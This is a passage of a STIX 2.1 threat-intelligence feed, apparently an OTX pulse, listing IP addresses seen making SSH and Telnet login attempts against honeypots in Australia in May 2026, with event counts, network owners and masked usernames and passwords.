      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ff7c6c6c-6f15-4a73-b045-61340e4fc2b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, n****s, s****v, a****1. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******3, H*******6.",
      "id": "indicator--13aefd73-0508-4f21-98fe-6923ccf81efe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.180.88.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136525. Organisation(s): Wancom Pvt Ltd..",
      "id": "indicator--7f31cc57-e443-442e-ab8c-59a679574cde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.157.76.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, ***, j**k, k***a. Passwords observed (masked): ***, 1***5, 1****6, 1******8, 1*********#.",
      "id": "indicator--c33d1a6c-958b-4152-8eec-e8b17bdc9b47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.203.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16591. Organisation(s): Google Fiber Inc..",
      "id": "indicator--6c8180d0-0f9f-4848-8b72-308ef7ae9a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.53.38.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, n****s, 3**********4, e**r, s***r. Passwords observed (masked): 3***********4, 3**********4, P********!, P**********6, e*****3.",
      "id": "indicator--ee670af7-0c5f-4f0a-bcac-256650b1fb5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.118.139.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--819ca6b8-7ef0-4a10-8afe-c50076ce4d4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.230.66.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--fd7693ec-a140-4b7a-8f6c-c4dbd220ca52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.229.167.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): d****n, 3**********4, l**n, r**t. Passwords observed (masked): 1*******!, 1**********E, 3***********4, 3**********4, L*****3.",
      "id": "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.178.114.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): t**t. Passwords observed (masked): t**t.",
      "id": "indicator--77a71d90-e787-4000-adac-d08f1745850a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T06:15:11.000Z",
      "valid_until": "2026-07-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-31T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--298db777-dd16-4761-b0f1-adce80acb205",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.203.246.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:15:10.000Z",
      "valid_until": "2026-07-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-31T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): T**********8, y******5.",
      "id": "indicator--0f435acc-7d64-425f-a781-822edd92ecdf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.221.162.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:15:10.000Z",
      "valid_until": "2026-07-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-31T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 59187. Organisation(s): NEEVAI SUPERCLOUD PVT LTD. Usernames observed (masked): r**t, 3**********4, f*****r, a******k, c****m. Passwords observed (masked): 1****6, 3***********4, 3**********4, @*******5, F******6.",
      "id": "indicator--07ae4139-8d27-48f6-8ce0-a93b59b83198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.221.35.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:15:10.000Z",
      "valid_until": "2026-07-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135848. Organisation(s): Digitax India Communications Pvt Ltd.. Usernames observed (masked): r**t, 3**********4, a***n, m**e, s***m. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1******r, 1*******9.",
      "id": "indicator--02b59f5a-db7c-438d-8f5d-8a865e505153",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.54.101.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--01b56705-1ec8-4966-aa78-17a95c141694",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.52.180.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a*****e, d**i, i****l. Passwords observed (masked): 3***********4, 3**********4, 0**********1, ***, A*******r.",
      "id": "indicator--03be7bd4-b2c6-4c0f-b30b-47cb5ac475e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a*****e, d**i, i****l. Passwords observed (masked): 3***********4, 3**********4, 0**********1, ***, A*******r.",
      "id": "indicator--cc563757-fc72-4fce-9f97-517309a678b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '13.90.206.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, d**i, i****l. Passwords observed (masked): 3***********4, 0**********1, ***, 3**********4, A*******r.",
      "id": "indicator--dc870592-6ff2-45cc-acec-13035fa1f19a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.105.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, ***. Passwords observed (masked): 1****6, ***, 1**********F, 1****e, 1********T.",
      "id": "indicator--624fcbd0-50a8-4171-ae08-109de91245dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.211.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): r**t, 3**********4, c***o, o****e, s******n. Passwords observed (masked): c***o, 3***********4, 3**********4, a******A, a*******..",
      "id": "indicator--66b2d4e1-2b9b-4172-b2d2-801aba69b9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.0.63.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 42397. Organisation(s): Bunea TELECOM SRL.",
      "id": "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.29.13.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--f7304f5a-649f-4810-8651-960c127be05e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.114.19.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--11aaef3e-48c5-41b0-a835-d22fa20bb1bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.126.241.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:15:11.000Z",
      "valid_until": "2026-07-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-31T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--97dd08ac-95e8-4398-a916-c6ed2871fb42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.126.91.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:15:11.000Z",
      "valid_until": "2026-07-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-31T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 212238. Organisation(s): Datacamp Limited. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--7afc44e3-367f-4fd8-bce4-bb415407df84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.88.21.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:15:11.000Z",
      "valid_until": "2026-07-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-31T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--3b168337-df6e-4869-92e2-2288cb622d57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:15:11.000Z",
      "valid_until": "2026-07-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-31T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--34328b35-514d-4978-b176-2c06ba73b75a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.134.21.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:15:11.000Z",
      "valid_until": "2026-07-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-31T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e37fc4d0-464d-4792-9b2b-c7b05190ee6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.215.92.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:15:11.000Z",
      "valid_until": "2026-07-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t, 3**********4, h*****g, ***. Passwords observed (masked): 1****3, 3***********4, 3**********4, D******5, H******6.",
      "id": "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d91d1429-aa1c-442a-a537-15e2fdf3a15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): n******m.",
      "id": "indicator--aefeb346-3057-44a5-a55d-f13b43a69512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.123.107.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--47de9b01-0ffe-4d87-83e9-13496c534a6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.117.251.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--b9f7380b-6335-43f7-ae4d-0faa1019c8ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.253.120.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, d***d, 3**********4, d****l, s*****t. Passwords observed (masked): *, 1**4, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--4d807695-6485-491b-ae33-cd98e8c54e70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
